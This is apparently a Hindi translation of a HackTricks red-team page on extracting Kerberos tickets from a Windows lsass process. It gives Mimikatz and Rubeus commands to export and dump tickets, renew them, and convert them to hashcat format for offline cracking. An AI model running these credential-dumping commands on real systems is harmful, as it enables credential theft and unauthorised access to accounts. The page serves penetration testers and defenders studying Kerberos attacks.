Windows से टिकट हार्वेस्ट करना

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

यदि आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं तो सब्सक्रिप्शन प्लान्स देखें!
आधिकारिक PEASS और HackTricks स्वैग प्राप्त करें
हमारे विशेष NFTs संग्रह The PEASS Family खोजें
शामिल हों 💬 डिस्कॉर्ड समूह या टेलीग्राम समूह या मुझे ट्विटर 🐦 @carlospolopm** पर फॉलो** करें।
हैकिंग ट्रिक्स साझा करें द्वारा PRs सबमिट करके HackTricks और HackTricks Cloud github repos में।

Windows में टिकट lsass (Local Security Authority Subsystem Service) प्रक्रिया द्वारा प्रबंधित और संग्रहीत किए जाते हैं, जो सुरक्षा नीतियों को संभालने के लिए जिम्मेदार है। इन टिकटों को निकालने के लिए, lsass प्रक्रिया के साथ इंटरफेस करना आवश्यक है। एक गैर-प्रशासनिक उपयोगकर्ता केवल अपने खुद के टिकट तक पहुंच सकता है, जबकि एक प्रशासक सिस्टम पर सभी टिकट निकालने की विशेषाधिकार रखता है। इसके लिए, Mimikatz और Rubeus उपकरणों का व्यापक रूप से उपयोग किया जाता है, जो प्रत्येक अलग-अलग कमांड और कार्यक्षमताएँ प्रदान करते हैं।

Mimikatz

Mimikatz एक बहुमुखी उपकरण है जो Windows सुरक्षा के साथ संवाद कर सकता है। इसका उपयोग केवल टिकट निकालने के लिए ही नहीं किया जाता है, बल्कि विभिन्न अन्य सुरक्षा संबंधित ऑपरेशनों के लिए भी किया जाता है।

# Extracting tickets using Mimikatz
sekurlsa::tickets /export

रुबेस

रुबेस एक उपकरण है जो विशेष रूप से केरबेरोस इंटरेक्शन और मैनिपुलेशन के लिए तैयार किया गया है। इसका उपयोग टिकट निकालने और हैंडलिंग, साथ ही अन्य केरबेरोस संबंधित गतिविधियों के लिए किया जाता है।

# Dumping all tickets using Rubeus
.\Rubeus dump
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<BASE64_TICKET>"))

# Listing all tickets
.\Rubeus.exe triage

# Dumping a specific ticket by LUID
.\Rubeus.exe dump /service:krbtgt /luid:<luid> /nowrap
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<BASE64_TICKET>"))

# Renewing a ticket
.\Rubeus.exe renew /ticket:<BASE64_TICKET>

# Converting a ticket to hashcat format for offline cracking
.\Rubeus.exe hash /ticket:<BASE64_TICKET>

इन कमांड्स का उपयोग करते समय, कृपया <BASE64_TICKET> और <luid> जैसे प्लेसहोल्डर को वास्तविक बेस64 एन्कोडेड टिकट और लॉगऑन आईडी के साथ बदल दें। ये उपकरण टिकट को प्रबंधित करने और Windows की सुरक्षा तंत्रों के साथ बातचीत करने के लिए व्यापक कार्यक्षमता प्रदान करते हैं।

संदर्भ

https://www.tarlogic.com/en/blog/how-to-attack-kerberos/